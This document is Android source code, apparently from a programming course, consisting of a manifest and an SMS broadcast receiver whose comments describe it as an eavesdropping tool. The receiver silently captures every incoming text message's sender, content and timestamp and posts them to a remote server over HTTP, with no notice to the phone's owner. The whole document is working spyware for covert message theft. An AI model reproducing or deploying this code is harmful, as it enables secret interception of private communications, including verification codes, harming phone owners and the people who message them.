[html]
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.itcast.sms"
android:versionCode="1"
android:versionName="1.0">
<application android:icon="@drawable/icon" android:label="@string/app_name">
<receiver android:name=".SMSBroadcastReceiver">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>
<uses-sdk android:minSdkVersion="8" />
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信權限 -->
<!-- 訪問網絡的權限 -->
<uses-permission android:name="android.permission.INTERNET"/>
</manifest>
[java]
package cn.itcast.sms;
import java.sql.Date;
import java.text.SimpleDateFormat;
import java.util.HashMap;
import java.util.Map;
import cn.itcast.utils.SocketHttpRequester;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;
public class SMSBroadcastReceiver extends BroadcastReceiver {
//在接受者這邊獲取短信相關信息,將相關信息發到服務器上進行竊聽
@Override
public void onReceive(Context context, Intent intent) {
Object[] pduses = (Object[])intent.getExtras().get("pdus");
for(Object pdus : pduses){
byte[] pdusmessage = (byte[]) pdus;//沒一條短信
SmsMessage sms = SmsMessage.createFromPdu(pdusmessage);
String mobile = sms.getOriginatingAddress();//得到電話號碼
String content = sms.getMessageBody();//得到短信的內容
Date date = new Date(sms.getTimestampMillis());//得到發送短信具體時間
//2009-10-12 12:21:23
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");//為實踐設置格式
String sendtime = format.format(date);
Map<String, String> params = new HashMap<String, String>();
params.put("method", "getSMS");//將與短信相關的內容全部都放到集合裡
params.put("mobile", mobile);
params.put("content", content);
params.put("sendtime", sendtime);
try {//利用socket向服務器發送竊聽到的內容
SocketHttpRequester.post("http://192.168.1.100:8080/videoweb/video/manage.do", params, "UTF-8");
} catch (Exception e) {
Log.e("SMSBroadcastReceiver", e.toString());
}
}
}
}